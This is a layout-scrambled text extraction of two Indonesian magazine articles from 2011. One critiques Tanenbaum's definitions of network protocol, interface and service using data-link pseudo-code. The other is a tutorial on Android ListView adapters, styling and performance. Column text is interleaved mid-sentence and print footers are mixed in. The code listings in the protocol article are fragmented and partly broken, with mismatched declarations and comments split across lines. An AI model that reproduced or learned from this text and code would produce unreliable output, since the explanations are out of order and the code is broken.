Protocol: Inkonsistensi antara Teori dengan Praktik Yang menarik untuk dicermati adalah apakah protocol dalam praktik sesuai dengan protocol dalam teori? Bila diperhatikan, dalam contoh source code

114

112_knowhow-BIH_12_edit nur.indd 114

Dalam membuat persamaan yang baru saja ditampilkan, penulis dengan sengaja mengabaikan masalah lain dari definisi yang diberikan Tanenbaum tentang interface. Apa masalah tersebut? Masalahnya adalah inkonsistensi antara interface dalam teori dengan interface dalam praktik. Interface dalam teori akan menyediakan operasi-operasi untuk protocol di lapis atas, sedangkan interface dalam praktik menyediakan operasi-operasi untuk protocol di lapis atas dan bawah. Pada contoh source code protocol untuk lapis dua (Gambar 3), ada empat operasi yang membentuk interface, yakni FromNetworkLayer(), ToNetworkLayer(), FromPhysicalLayer(), dan ToPhysicalLayer(). Kedua operasi terakhir adalah operasi untuk lapis di bawahnya. Sebenarnya, bila Tanenbaum sangat kritis akan apa yang dia sendiri gambarkan, seharusnya interface memang tidak dibatasi ke operasi-operasi untuk lapis yang di bawah. Gambar 1 menunjukkan interface berdampingan dengan panah dua arah—ke lapis atas dan ke lapis

bawah. Jadi, sudah selayaknya definisi interface dibuat lebih baik menjadi: interface defines which operations and services a layer makes available to the upper and lower ones.

Dengan memakai definisi di atas, persamaan tentang protocol seperti yang telah penulis tulis tetap berlaku.

Service: Redundant dengan Interface Tanenbaum memakai istilah lain, service, yang digambarkan seperti Gambar 4. Definisi “service” pada Tanenbaum edisi 4 adalah a service is formally specified by a set of primitives (operations) available to a user process to access the service. Namun, interface pada Gambar 1 tidak mengindikasikan perbedaan esensial antara interface dengan service pada Gambar 4. Artinya, teori tentang (dan istilah) service bersifat redundant dengan interface. Sebagai konsekuensi dari redundantnya istilah “service”, kita dapat menulis ulang (untuk kedua kali) definisi interface yang asalnya dari Tanenbaum menjadi seperti di kotak di bawah ini. Kata-kata “services and” dapat dihapus. Definisinya menjadi lebih sederhana. interface defines which operations a layer makes available to the upper and lower ones.

Programming Concepts Mari kita lihat kembali source code pada Gambar 2. Sebelum menulis artikel 12/2011

11/2/2011 12:26:56 PM

Coding KNOW-HOW

ini, kami menguji beberapa personel TI dengan pertanyaan “dengan menganggap bahwa source code tersebut menggambarkan interface, apakah source code tersebut sesuai dengan teori?”. Kebanyakan responden bingung. Mereka bingung karena tidak memahami dan menjiwai konsep-konsep pemrograman. Pemahaman akan konsep-konsep pemrograman memungkinkan kita menjawab pertanyaan tersebut—source code tersebut tidak sesuai teori. Teori tentang interface hanya menyebut tentang operasi. Padahal, source code pada Gambar 2 juga berisi tipe dan objek. Gambar berikut menyajikan bagian source code yang berisi tipe dan objek. Tiga baris pertama tentang objek-objek, sisanya tentang tipe-tipe. const LastBit = ... ; {determines packet size} doomsday = false ; {used to repeat forever} MaxSeq = ... ;

program atau modul. Catatan: bahasan rinci tentang perbedaan program versus modul dapat dilihat dalam buku Modular Programming: A Revolutionary Approach karya Bernaridho I. Hutabarat. Mengacu pada teori tentang modular programming, modul dapat didefinisikan sebagai unit translasi. Sebuah program pasti dibentuk oleh minimal satu modul, yaitu modul utama (main module). Jika sebuah program dibentuk oleh lebih dari satu modul, modulmodul lain di luar modul utama disebut nonmain module. Untuk source code Pascal dan C dalam bukunya, Tanenbaum tidak menjelaskan apakah source code protocol tersebut merupakan program atau modul. Ini salah satu kekurangan. Apakah protocol dalam praktik ditulis sebagai program atau sebagai modul? Kami menduga yang terakhir. Mengapa? Karena sering sebuah protocol dipakai oleh banyak program. Bila protocol ditulis sebagai program, pemakaian protocol tidak bisa di-share.

interface

shortword constant LastBit := 15 ; // determines packet size boolean constant DOOMSDAY := FALSE ; // used to repeat forever shortword constant MaxSeq := 512 ; // just for example shortword constant DATA := 0, ACK := 1, NAK := 2; // emulate enumerated type

type bit := subtype (shortword) constrain (value < 2), // 0..1 only SequenceNr := subtype (word) constraint (value <= MaxSeq), // to number the frames packet := bit[LastBit], //a packet from the upper layers FrameKind := subtype (shortword) constrain (value <= NAK), Frame := Record { FrameKind kind; SequenceNr seq, ack; packet info; };

type bit = 0 .. 1; SequenceNr = 0 .. MaxSeq; {used to number the frames} packet = packed array [0 .. LastBit] of bit; {a packet from the upper layers} FrameKind = (data, ack, nak); frame = packed record kind : FrameKind; seq : SequenceNr; ack : SequenceNr; info : packet; end;

Gambar 5. Objects (constants) and types.

Modular Programming Source code yang kami tulis ulang pada Gambar 2 memakai bahasa pemrograman Pascal, yang masih populer pada dekade 1980. Buku Tanenbaum pada edisi 3 diterbitkan pada 1996, ketika popularitas C telah menggusur Pascal. Pada edisi 3, source code dari protocols sudah ditulis dalam C. Ada kesamaan yang relevan dari kedua source code untuk disampaikan pada bagian tulisan ini, yakni tidak jelas apakah source code tersebut merupakan 12/2011

112_knowhow-BIH_12_edit nur.indd 115

Menulis Source Code dari Protocol Telah disampaikan bahwa salah satu maksud tulisan ini adalah menjelaskan penerapan programming concepts dan modular programming untuk membuat source code dari protocol. Mari kita terapkan teori tersebut. Pada bagian sebelumnya, kami telah menyampaikan dugaan bahwa protocol ditulis sebagai nonmain module. Karena contoh protocol-nya adalah DataLink, kita buat Module DataLink. Nonmain module terdiri atas dua bagian, yaitu interface dan implementation. Interface adalah bagian module yang visible dan dapat digunakan oleh modul lainnya. Sementara itu, implementation adalah bagian yang tidak visible oleh program atau module lain yang menggunakan modul tersebut. Berikut adalah contoh pseudo code yang sudah mendekati source code protocol jika ditulis dalam bahasa pemrograman NUSA mulai dengan bagian publik yang juga disebut module’s interface. Module DataLink;

void wait (EvType& event); void FromNetworkLayer (packet& p); void ToNetworkLayer (packet p); void FromPhysicalLayer (frame& r); void ToPhysicalLayer (frame s); void StartTimer (SequenceNr k); void StopTimer (SequenceNr k); void StartAckTimer(); void StopAckTimer(); void EnableNetworkLayer(); void DisableNetworkLayer(); void inc (SequenceNr& k);

Gambar 6. Module’s interface.

Ini adalah bagian privat, sering disebut module’s implementation. Implementation // of Module DataLink;

void wait (EventType event) { /* Wait for an event to happen; return its type in event */ }

void FromNetworkLayer (packet& p) { /* Fetch information from the network layer for transmission on

115

11/2/2011 9:53:07 AM

KNOW-HOW Coding

the channel */ }

void ToNetworkLayer (packet p) { /* Deliver information from an inbound frame to network layer */ }

void FromPhysicalLayer (frame r)

module’s interface pada gambar yang terakhir. Apa yang sama dari kedua interface? Keduanya berisi spesifikasi tipe, operasi, dan objek. Perbedaannya, communication interface tak dapat menjelaskan module’s interface, sedangkan module’s interface dapat menjelaskan communication interface.

{ /* Go get an inbound frame from the physical layer and copy it to r */ }

void ToPhysicalLayer (s frame) { /* Pass the frame s to the physical layer for transmission */ }

void StartTimer (k SequenceNr) { /* Start the clock running and enable TimeOut event */ }

void StopTimer (k SequenceNr) { /* Stop the clock and disable TimeOut event */ }

void StartAckTimer ()

Lagi, Protocol versus Interface Dengan menggunakan istilah “communication interface”, layak juga kita menggunakan istilah “communication protocol”. Berbekal module’s interface yang telah kita lihat, mari kita tinjau ulang pemisahan dalam teori antara protocol versus interface. Seperti apa perbedaan antara communication protocol versus communication interface dalam praktik? Dengan fokus pada operasi, Gambar 8 memaparkannya. Lihat komentar pada code. Tanda tanya dimaksudkan agar pembaca menyelidikinya lebih lanjut.

{ /* Start an auxiliary timer for sending separate acks */ }

void wait (EventType& event); // communication-protocol; same layer

void StopAckTimer ()

void FromNetworkLayer (packet& p);

{ /* Stop the auxiliary timer and

// communication-interface; distinct

disable NetworkLayerIdle event */ }

layer void ToNetworkLayer (packet p);

void EnableNetworkLayer ()

// communication-interface; distinct

{ /* Allow the network layer to

layer

cause

void FromPhysicalLayer (frame& r);

a NetworkLayerReady event */ }

// communication-interface; distinct layer

void DisableNetworkLayer ()

void ToPhysicalLayer (frame s);

{ /* Forbid the network layer from

// communication-interface; distinct

causing a NetworkLayerReady event

layer

*/ }

void StartTimer (SequenceNr k); // communication-protocol; same layer?

void inc (SequenceNr& k)

void StopTimer (SequenceNr k);

{ // Increase k circularly.

// communication-protocol; same layer?

if (k < MaxSeq) k++; else k := 0; }

void StartAckTimer(); // communication-protocol; same layer? void StopAckTimer(); // communication-protocol; same layer?

Gambar 7. Module’s implementation.

void EnableNetworkLayer();

Communication Interface versus Module’s Interface

layer

Kami akan menyebut interface pada Gambar 1 sebagai communication interface. Sementara itu, kita telah melihat

// communication-interface; distinct

// communication-interface; distinct

116

112_knowhow-BIH_12_edit nur.indd 116

void DisableNetworkLayer();

layer

// communication-protocol; same layer?

Gambar 8. Protocol versus interface, pada source code.

Information Hiding Konsep yang terkait erat dengan modular programming adalah information-hiding. Bila bodi operasi dianggap informasi, informasi tersebut disembunyikan. Mengacu pada Gambar 8, ada dua operasi yang layak untuk disembunyikan, bahkan deklarasinya. Silakan menebaknya.

Penutup Mengajarkan pembuatan protocol dapat dianggap layak bagi perguruan tinggi yang berkoar untuk bermutu internasional dan bersaing dengan luar negeri. Salah satu tolok ukur yang dapat dipakai adalah kemampuan alumninya dalam membuat source code dari protocol karena kemampuan tersebut memang sangat tinggi levelnya. Tulisan ini membantu pembaca dalam memahami teori tentang communication protocol, communication interface, dan untuk memahami seperti apa kirakira source code protocol dalam praktik. Tulisan ini juga membuktikan manfaat pemahaman programming concepts dan modular programming. Nurhidayat Agung adalah staf PT Bisnis Tekno Ultima. Bernaridho I. Hutabarat adalah direktur PT Bisnis Tekno Ultima ([emailprotected]).

LEBIH LANJUT Hutabarat, Bernaridho I.. 2010. Modular Programming: A Revolutionary Approach. Ma Chung Press -----------. 2010. Programming Concepts: with NUSA Programming Language. Ma Chung Press Tanenbaum, Andrew S.. 1989. Computer Networks, 2nd ed.. Prentice Hall -----------. 1996. Computer Networks, 3rd ed.. Prentice Hall -----------. 2003. Computer Networks, 4th ed.. Prentice Hall -----------. 2010. Computer Networks, 5th ed.. Prentice Hall http://en.wikipedia.org/wiki/ Communications_protocol http://en.wikipedia.org/wiki/Interface_ (computing)

void inc (SequenceNr& k);

12/2011

11/2/2011 9:53:09 AM

Ozone_11.indd 1

10/4/2011 4:29:41 PM

KNOW-HOW

Coding

ANDROID GUI: LISTVIEW ON THE DISC

Saya lapar. Mana daftar menunya? Zamrony P. Juhara

ListView ListView adalah elemen GUI (Graphical User Interface) pada Android yang paling banyak digunakan di aplikasi dan digunakan untuk menampilkan sejumlah data dalam bentuk daftar vertikal. Di platform Android, Anda dapat menemukan ListView di daftar kontak, daftar e-mail, daftar konfigurasi, dan data lain yang dapat dinyatakan sebagai daftar (list).

Menampilkan ListView dengan Layout Baku Android menyediakan beberapa layout baku untuk ListView sehingga Anda tidak harus menciptakan layout sendiri untuk bisa menggunakan ListView. Layout milik Android ada di android. R.layout. Jadi, bila di sini disingkat simple_list_item_1, itu artinya android. R.layout.simple_list_item_1. Simple List 1

ListActivity ListActivity adalah turunan Activity yang disediakan untuk menyederhanakan proses menampilkan ListView.

Simple List 1 adalah layout sederhana yang terdiri atas sebuah TextView per item (Gambar 1a). Anda menggunakan konstan simple_list_item_1.

Adapter

Simple List 2

Tipe Adapter bertanggung jawab menjembatani elemen GUI AdapterView dan data yang terkait dengan elemen GUI tersebut. Ia menyediakan akses ke data dan bertanggung jawab menyediakan representasi visual tiap data. Meskipun dalam artikel ini dibahas ListView secara spesifik, sebagian informasi dalam artikel ini dapat diterapkan pada elemen GUI lain, seperti GridView atau Spinner karena kemiripannya.

Simple List 2 mirip dengan layout Simple List 1, tetapi terdiri atas dua TextView yang bersusun di mana salah satu TextView menggunakan ukuran teks lebih besar. Untuk menggunakan layout ini, Anda menggunakan simple_ list_item_2.

item terdiri atas TexView dan sebuah RadioButton (Gambar 1b). Layout ini ditujukan untuk membuat daftar item dengan pilihan yang bersifat mutual exclusive. Anda hanya bisa menandai salah satu item.

Multiple Choice Multiple choice (simple_list_item_multiple_choice) adalah layout di mana tiap item terdiri atas TextView dan sebuah CheckBox. Layout ini ditujukan untuk membuat daftar item yang dapat diberi tanda centang.

Item Checked Layout ini (simple_list_item_checked) mirip layout Multiple choice. Bedanya, layout ini hanya menggunakan CheckedTextView (Gambar 1d). Listing 1 berisi contoh bagaimana menggunakan layout milik Android untuk menampilkan daftar item di ListView.

Single Choice

Menampilkan ListView dengan Layout Kustom

Single choice (simple_list_item_single_choice) adalah layout di mana tiap

Anda diberi kebebasan menggunakan layout berbeda bila layout bawaan

(a) (b) (c) (d) Gambar 1. ListView dengan layout baku. a) Simple list 1. b) Simple single choice. c) Simple multiple choice. d) Simple checked.

118

118_knowhow-ZPJ_ edit nur.indd 118

12/2011

11/3/2011 10:33:21 AM

Coding KNOW-HOW

(a) Gambar 2. ListView dengan custom layout.

(b)

Gambar 3. ListView dengan layout berbeda. a) Daftar terisi. b) Daftar kosong.

Android tidak sesuai dengan keinginan Anda. Cara terbaik menggunakan layout buatan Anda adalah membuat adapter sendiri, tetapi kita tunda dulu bahasannya. Kita akan membahasnya di bagian “Membuat Turunan Adapter”. Di sini kita bahas penggunaan layout buatan Anda sendiri pada adapter bertipe ArrayAdapter. Tipe ArrayAdapter mengharapkan layout di mana root node element bertipe TextView. Listing 2a adalah file layout bernama “list_item. xml” yang akan digunakan untuk menampilkan item-item pada ListView. Listing 2b adalah kode inisialisasi instance List1Activity yang akan memuat daftar teks yang akan ditampilkan dari file resource “strings.xml” (Listing 2c).

baru bila adapter yang disediakan oleh Android tidak cocok dengan kebutuhan Anda. Untuk membuat adapter baru, paling tidak, Anda perlu membuat turunan BaseAdapter. Tipe BaseAdapter memiliki beberapa metode abstrak yang harus Anda lengkapi implementasinya. getCount()

Anda perlu mengembalikan jumlah item yang akan ditampilkan dalam ListView.

Jika tidak ada item dalam daftar, ListView akan ditampilkan kosong. Anda mungkin ingin menampilkan pesan sebagai indikasi bahwa daftar item tidak tersedia dan bukannya hanya tampilan kosong (Gambar 3). Jika Anda menggunakan ListActivity, Anda bisa menggunakan pengenal @android:id/list dan @android: id/empty. Kedua pengenal ini bersifat mutual exclusive. Jika daftar tidak kosong, ListView dengan ID @android: id/list akan ditampilkan dan sebaliknya, bila kosong, View dengan ID @android: id/empty akan ditampilkan. Listing 3 adalah isi file layout “main.xml”.

Membuat Turunan Adapter Anda bebas menciptakan tipe adapter 12/2011

118_knowhow-ZPJ_ edit nur.indd 119

dikompresi untuk meminimalkan konsumsi memory. LayoutInflater inflater=(LayoutInflater) getSystemService(LAYOUT_INFLATER_ SERVICE);

Selanjutnya, kita dekompresi layout (listitem.xml) untuk mendapatkan instance View yang akan kita gunakan untuk menampilkan item di ListView. Listing 5 berisi isi file layout “listitem. xml”.

getItem()

Metode getItem() harus mengembalikan instance bertipe Object yang diacu oleh parameter index. getItemId()

List Tanpa Data

Gambar 4. ListView menggunakan custom adapter.

Metode getItemId() mengembalikan pengenal item yang ditunjuk oleh parameter index.

View aview = inflater.inflate( R.layout.listitem, null);

Kita ambil instance TextView yang ada dalam layout “listitem.xml” lalu memanggil setText() untuk menyalin string bilangan ke TextView. Gambar 4 berisi tampak visual aplikasi dengan custom adapter.

getView()

Metode getView() mengembalikan instance View yang akan digunakan sebagai UI item dalam daftar. Listing 4 berisi contoh kode implementasi sederhana turunan BaseAdapter. getCount() mengembalikan jumlah item dalam array bernama bilangan. getItem() mengembalikan instance String yang ditunjuk oleh parameter index. Metode getItemId() mengembalikan index sebagai ID. Yang paling kompleks adalah metode getView(). Langkah pertama adalah mendapatkan layanan untuk dekompresi layout. Pada saat run-time, data layout akan

TextView txtvw=(TextView) aview.findViewById(R. id.textView1); txtvw.setText(bilangan[index]);

Implementasi getView() di atas masih jauh dari optimal ditinjau dari sisi performa. Kita akan bahas isu performa pada bagian “Performa ListView”.

Menampilkan Daftar dari Database Anda punya sejumlah data yang tersimpan di database. Anda ingin menampilkan data tersebut dalam ListView. Bagaimana? Android menyediakan

119

11/2/2011 10:39:14 AM

KNOW-HOW

Coding

tipe adapter khusus yang menangani instance Cursor yang dihasilkan dari operasi terhadap database, yakni SimpleCursorAdapter. Lebih jauh tentang tipe Cursor dan operasi terkait database di Android bisa Anda simak dalam artikel saya lainnya, “Menyimpan Data di Android”. Konstruktor tipe SimpleCursorAdapter mengharapkan lima parameter, yakni instance tipe Context, instance tipe Cursor, pengenal layout untuk tiap data, instance array berisi string nama kolom di struktur tabel, dan instance array berisi pengenal instance View pada layout. Untuk menggunakan tipe SimpleCursorAdapter, perintah SQL harus mengembalikan data yang menyertakan kolom bernama _id. Jika alpa menyertakan kolom ini, Anda akan mendapati bahwa kode aplikasi Anda akan melemparkan eksepsi IllegalArgumentException dengan pesan “column ‘_id’ does not exist”. Listing 7a berisi contoh kode bagaimana menampilkan data dengan menggunakan SimpleCursorAdapter. Tipe DBLocation adalah tipe yang sudah kita buat sebagai bagian contoh kode dalam artikel “Menyimpan Data di Android” yang gunanya membungkus operasi pengelolaan data lokasi. Setelah pemanggilan getLocation(), variabel c akan menyimpan instance Cursor ke data lokasi. Pemanggilan startManagingCursor() bertujuan menyerahkan pengelolaan instance Cursor kepada instance Activity (contohnya bila instance Activity dihapus, instance Cursor ikut juga dihapus). Selanjutnya, kita buat array yang berisi daftar nama kolom pada tabel dan array berisi pengenal elemen UI yang akan kita gunakan untuk menampilkan data. Keduanya kita lewatkan sebagai parameter pada konstruktor SimpleCursorAdapter bersama pengenal layout (Listing 7b) dan instance Cursor. Listing 7b adalah isi file layout bernama “itemlayout.xml”. Gambar 5 berisi tampak visual aplikasi ketika dijalankan.

Menyaring Data di ListView Beberapa jenis adapter, contohnya Array Adapter, memiliki mekanisme yang

120

118_knowhow-ZPJ_ edit nur.indd 120

otomatis menyaring data yang ditampilkan ke ListView berdasarkan masukan yang diberikan pengguna dengan mengetikkannya. Dengan ArrayAdapter, Anda cukup menghidupkan fitur penyaringan teks pada ListView dengan memanggil setTextFilteredEnabled() (Listing 7c). Bila Anda menggunakan SimpleCursorAdapter, hal ini tidak otomatis menyaring data berdasarkan teks yang diberikan pengguna. Ada dua langkah tambahan yang harus Anda kerjakan, yakni memberitahukan kolom yang digunakan dan membuat implementasi FilterQueryProvider. Memberitahukan Kolom yang Digunakan Penyaringan data akan dikerjakan berdasarkan kolom yang indeksnya Anda tentukan dengan menggunakan setStringConversionColumn(). Membuat Implementasi FilterQueryProvider Tipe FilterQueryProvider adalah tipe data yang harus Anda lengkapi yang akan mengerjakan penyaringan. Metode yang harus Anda lengkapi adalah runQuery() (Listing 7e). Metode ini harus mengembalikan instance tipe Cursor yang mewakili data hasil penyaringan dan mengharapkan parameter berisi kriteria penyaringan. Gambar 6 menunjukkan bagaimana data pada ListView disaring.

Mengubah Latar Belakang ListView

pengenal instance Drawable, contohnya android:background=”@drawable/ bg01” atau nilai representasi warna, contohnya android:background=”#804000”. Ini identik dengan warna (R=80h, G=40h, B=00h). Jika menggunakan 6 digit untuk representasi warna, nilai Alpha diasumsikan 0FFh. Gambar 7a dan 7c masing-masing berisi contoh tampak visual ListView dengan latar belakang gambar dan warna solid. Gambar latar belakang otomatis akan diregangkan (stretch) memenuhi ukuran instance View. Bila resolusi gambar Anda kecil, gambar akan tampak kabur karena mengalami pembesaran. Jika rasio panjang dan lebar View (dalam hal ini ListView) tidak sama dengan rasio panjang dan lebar gambar, proporsi gambar hasil skala akan berubah. Jika ingin menggunakan gambar berukuran kecil yang akan digambar berulang (tile), Anda bisa menggunakan atribut android:tileMode dengan mode “repeat” atau “mirror”. Listing 9 berisi contoh definisi BitmapDrawable dalam file bernama “res/drawable/bkgr.xml” yang akan menyebabkan file gambar “bg01.png” akan digambar secara berulang (Gambar 7c). Selanjutnya, Listing 8 perlu diubah sedikit dengan mengganti isi “android: background” menjadi “@drawable/ bkgr”.

Masalah dengan Pengubahan Latar Belakang ListView

Umumnya, warna latar belakang List- Jika menggunakan warna atau gambar View mengikuti tema warna Android latar belakang, Anda perlu tahu bahwa secara keseluruhan, biasanya berwarna kode untuk menampilkan ListView disolid #191919. Anda bisa mengubah latar belakang ListView dari file layout XML dengan atribut android:background atau melalui kode program dengan metode setBackgroundDrawable(), setBackgroundResource(), atau setGambar 6. ListView dengan data BackgroundColor(). yang disaring berdasarkan teks Atribut android:back- Gambar 5. ListView dengan yang ditik. data berasal dari database. ground dapat berisi 12/2011

11/2/2011 10:39:16 AM

dau_12.indd 1

02/11/2011 13:49:09

KNOW-HOW

Coding

optimasi dengan menggunakan warna transparan sehingga yang terlihat di layar adalah warna latar belakang tema visual. Tujuannya agar ketika ListView digulung (scroll) dengan menggunakan gerakan jari, pergeseran item-item dalam ListView tampak halus. Ketika menggunakan warna atau gambar latar belakang, proses scrolling dengan gerakan sentuhan jari (fling) akan menyebabkan warna atau gambar latar belakang tidak tampak dan digantikan warna latar tema visual karena ListView berusaha menggunakan langkah tersingkat menampilkan UI, yakni dengan tidak menggambar latar belakang apa pun (dengan kata lain menggunakan warna transparan). Gambar 7d menunjukkan akibat optimasi terhadap tampak visual ListView ketika ListView digulung dengan sentuhan jari. Solusi masalah ini adalah mematikan fi tur optimasi, yakni dengan menggunakan atribut android:cacheColorHint dan mengisinya dengan nilai #00000000 atau @null. Perhatikan bahwa ada delapan digit angka 0 yang mewakili warna A=00h, R=00h, G=00h, B=00h. Penggunaan warna selain #00000000 atau @null menyebabkan optimasi tetap hidup. Jika menggunakan warna solid, Anda bisa mengisi atribut android:cacheColorHint dengan warna yang sama yang Anda gunakan untuk latar belakang. Selain menggunakan file layout, Anda

(a)

bisa juga mengubah melalui kode dengan setCacheColorHint().

Mengubah Latar Belakang Item Konfigurasi warna standar untuk item yang terpilih adalah gradasi warna oranye. Bila item pada ListView ditekan, latar belakang item akan berubah menjadi gradasi warna kuning. Anda mungkin ingin mengubah bagaimana tampak visual ListView aplikasi Anda. Jika sebelumnya Anda telah membuat custom layout untuk tiap item, latar belakang tiap item dapat Anda ubah sesuka hati dengan menggunakan atribut android:background pada layout untuk item. Untuk menampilkan warna atau gambar latar belakang yang berbeda sesuai kondisi tertentu, yakni ketika item ditekan, dipilih, dan lainnya, Android menyediakan tag <selector ... /> yang bisa digunakan untuk memilih drawable yang akan digunakan sebagai latar belakang. Dalam tag <selector ... />, kita letakkan tag

yang akan berisi referensi ke Drawable yang akan ditampilkan. Atribut android:state_pressed, android:state_selected, dan android: state_focused masing-masing adalah kondisi ketika item ditekan, dipilih, dan ketika menerima fokus. Atribut tersebut menentukan syarat instance drawable yang akan dipilih (Listing 10). Untuk contoh kode pada Listing 10 berarti

(b)

(c)

Gambar 8. ListView dengan warna highlight berbeda.

ketika item ditekan, instance drawable yang ditunjuk oleh @color/oranye akan dikembalikan. Jika tidak, berikutnya akan diuji apakah item sedang dipilih. Bila ya, drawable yang ditunjuk oleh @color/kuning akan dikembalikan. Jika tidak ada yang sesuai kriteria, drawable @color/hijau_gelap akan dikembalikan. Oleh karena itu, urutan meletakkan tag

penting. Jika tag terakhir dipindahkan ke posisi teratas, Anda akan menemukan bahwa ListView akan selalu berwarna hijau gelap

(d)

Gambar 7. a) ListView dengan latar belakang gambar. b) ListView dengan latar belakang gambar tiled. c) ListView dengan latar belakang warna solid. d) Gambar latar belakang hilang ketika ListView digulung dengan sentuhan jari (fling).

122

118_knowhow-ZPJ_ edit nur.indd 122

12/2011

11/2/2011 10:40:01 AM

Coding KNOW-HOW

meskipun ada item yang sedang dipilih atau ditekan. File “itembkgr.xml” seperti tercantum pada Listing 10 selanjutnya diacu oleh layout untuk item seperti pada Listing 11. Gambar 8 menunjukkan tampak visual aplikasi dengan warna highlight kuning. Anda tidak dibatasi hanya menggunakan warna solid. Anda bisa menggunakan sembarang tipe Drawable, termasuk bitmap. Caranya sama saja. Anda hanya perlu menyediakan gambar yang akan digunakan untuk mewakili status saat ini (Gambar 9) lalu mengacu gambar tersebut dalam file layout (Listing 12). Gambar 10 menunjukkan tampak visual aplikasi ketika dijalankan pada beberapa kondisi. Jika menggunakan selector pada layout tiap item, Anda bisa mengisi atribut android:listSelector pada layout ListView dengan “@android:color/ transparent” sehingga warna highlight default tidak akan digambar ketika Anda menggunakan gambar yang mengandung bagian transparan. Jika tidak, Anda akan mendapatkan hasil seperti Gambar 11.

Mengubah Tampilan Pemisah Antar-item Jika Anda tidak melakukan apa-apa, ListView secara default akan menampilkan pemisah antar-item. Pemisah ini diatur dengan atribut android:divider, android:dividerHeight masing-masing untuk mengatur pemisah dan tinggi pemisah. Jika Anda menginginkan pemisah ini tidak ditampilkan, isi dengan @null seperti contoh pada Listing

(a)

(b)

(c) Gambar 9. Gambar latar belakang untuk item pada ListView. a) Kondisi normal. b) Kondisi dipilih. c) Kondisi ditekan.

12/2011

118_knowhow-ZPJ_ edit nur.indd 123

(a) (b) Gambar 10. Tampak visual ListView dengan menggunakan beberapa gambar berbeda untuk status. a) Item ketiga dipilih. b) Item kedua ditekan.

(a)

Gambar 11. Warna highlight tetap ditampilkan bila atribut android:listSelector tidak diisi warna transparan.

(b)

Gambar 12. ListView dengan modifikasi pemisah antarelemen. a) Pemisah disembunyikan dan lebih renggang. b) Pemisah menggunakan gambar kayu.

Gambar 13. ListView dengan header dan footer.

13 (lihat Gambar 12a). Pada Listing 13, kita atur jarak antar-item agak lebih renggang sebesar 20 dp. Tampak visual pemisah kurang sesuai? Tidak masalah. Isi atribut android:divider dengan acuan ke instance drawable (Gambar 12b).

Selain tidak dapat ditambahkan melalui XML, header dan footer juga harus ditambahkan sebelum Anda memanggil setAdapter(). Untuk menghapus header dan footer, Anda memanggil removeHeaderView() dan removeFooterView().

Menggunakan Header dan Footer

Performa ListView

ListView dapat ditambahkan header dan footer untuk menandai item teratas dan terbawah pada daftar (Gambar 13). Header dan footer adalah instance tipe View. Keduanya hanya bisa Anda tambahkan melalui kode program dengan menggunakan metode addHeaderView() dan addFooterView(). Kedua metode ini adalah metode milik tipe ListView (lihat Listing 14).

Ketika membuat adapter untuk ListView, Anda wajib membuat implementasi metode getView(). Metode ini sangat penting karena menentukan tampilan visual ListView Anda. Metode ini juga penting mengingat metode ini sangat sering dieksekusi, terutama bila jumlah item yang ditampilkan dalam ListView sangat banyak. Ketika sebuah item pada ListView

123

11/2/2011 10:40:05 AM

KNOW-HOW

Coding

keluar dari layar, instance View item tersebut akan disimpannya untuk kemudian didaur ulang untuk mengisi area kosong di bawah (Gambar 14). Pada contoh-contoh sebelumnya, kita selalu menciptakan elemen UI tiap item dengan cara seperti pada Listing 15. Ini sangat tidak disarankan karena pemanggilan inflate() maupun findViewById() cukup menguras kerja CPU. Lalu bagaimana? Parameter convertView pada metode getView() di Listing 14 adalah kuncinya. Jika ListView perlu menampilkan UI tiap item untuk kali pertama, nilai convertView akan bernilai null yang menandakan bahwa Anda perlu menciptakan instance turunan View yang akan ditampilkan sebagai visualisasi item. Pada kondisi ini, Anda memanggil inflate() dan findViewById(). Jika convertView tidak null, berarti ListView perlu menampilkan visualisasi item dengan mendaur ulang View yang sudah di luar layar. Anda bisa menggunakan convertView daripada harus menjalankan inflate() dan findViewById() lagi. Listing 15 dapat ditulis ulang menjadi lebih optimal seperti Listing 16. Karena instance layanan dekompresi layout selalu sama, Anda bisa memindahkan pemanggilan getSystemService() ke luar getView(), misalnya di konstruktor kelas. Selanjutnya, kita hanya memanggil inflate() apabila convertView bernilai null. Listing 16 masih berisi kode yang memanggil findViewById(). Untuk mengurangi frekuensi pemanggilan findViewById(), Anda perlu menyim-

pan referensi ke instance TextView dan mengasosiasikannya dengan instance convertView. Triknya adalah menggunakan setTag() dan getTag() milik instance View. Tag adalah tipe Object yang bisa Anda isi dengan data apa pun. Android menjamin bahwa isi tag tidak akan pernah dimodifikasi oleh sistem sehingga menjadi tempat yang tepat. Listing 17a adalah modifikasi Listing 16. Di sini kita uji apakah convertView bernilai null. Bila ya, kita ciptakan instance convertView dari layout dengan memanggil inflate(). Kita ciptakan instance ViewHolder. Tipe ini hanya digunakan untuk menyimpan alamat instance View (Listing 17b). Setelah itu, kita buat instance TextView yang akan digunakan untuk menampilkan teks dan menyimpan alamatnya ke variabel anggota ViewHolder yang bernama textvw. Terakhir, kita asosiasikan instance tipe ViewHolder dengan menyimpannya sebagai tag convertView. Bila convertView tidak null, kita bisa yakin bahwa getTag() akan berisi instance tipe ViewHolder. Maka, kita dapat typecast tag ke tipe ViewHolder dengan aman. Instance TextView dapat kita ambil dari variabel anggota textvw. Jika hanya menyimpan alamat sebuah instance View seperti pada demo, Anda sebenarnya tidak perlu membuat deklarasi tipe ViewHolder. Anda bisa langsung menyimpan instance TextView langsung sebagai tag untuk menghemat memory. Jika butuh lebih banyak alamat instance View yang harus diasosiasikan, Anda perlu membuat deklarasi tipe

ViewHolder. Apakah harus bernama ViewHolder? Tidak. Apakah harus dibuat sebagai tipe static final seperti Listing 17b? Tidak harus.

Menangani Kejadian Umumnya, aplikasi tidak sekadar menampilkan item pada ListView. Pengguna aplikasi juga ingin mengerjakan sesuatu terhadap item. Contoh, ketika pengguna mengeklik item pada ListView, Anda ingin aplikasi menampilkan data rinci terkait item yang menjadi perhatian pengguna.

Kejadian Item Diklik Untuk mendeteksi kejadian item diklik, aplikasi harus mendaftarkan instance tipe OnItemClickListener dengan menggunakan metode setOnItemClickListener() milik ListView. Anda harus melengkapi implementasi metode onItemClick(). Metode onItemClick() mengharapkan empat parameter, yakni parent yang berisi instance ListView, view yang berisi instance View terkait item yang menerima klik, position (posisi item pada ListView), dan id (pengenal unik terkait item yang diklik). Listing 18 berisi contoh bagaimana menangani kejadian item diklik. Pada contoh kode di Listing 18, karena adapter yang digunakan adalah SimpleCursorAdapter, metode getItemAtPosition() akan mengembalikan instance Cursor. Instance tipe Cursor yang kita peroleh selanjutnya digunakan untuk mengambil data lokasi meliputi nama lokasi dan koordinat lokasi tersebut (latitude dan longitude).

Kejadian Klik Panjang

Gambar 14. Ilustrasi daur ulang item yang keluar batas layar.

124

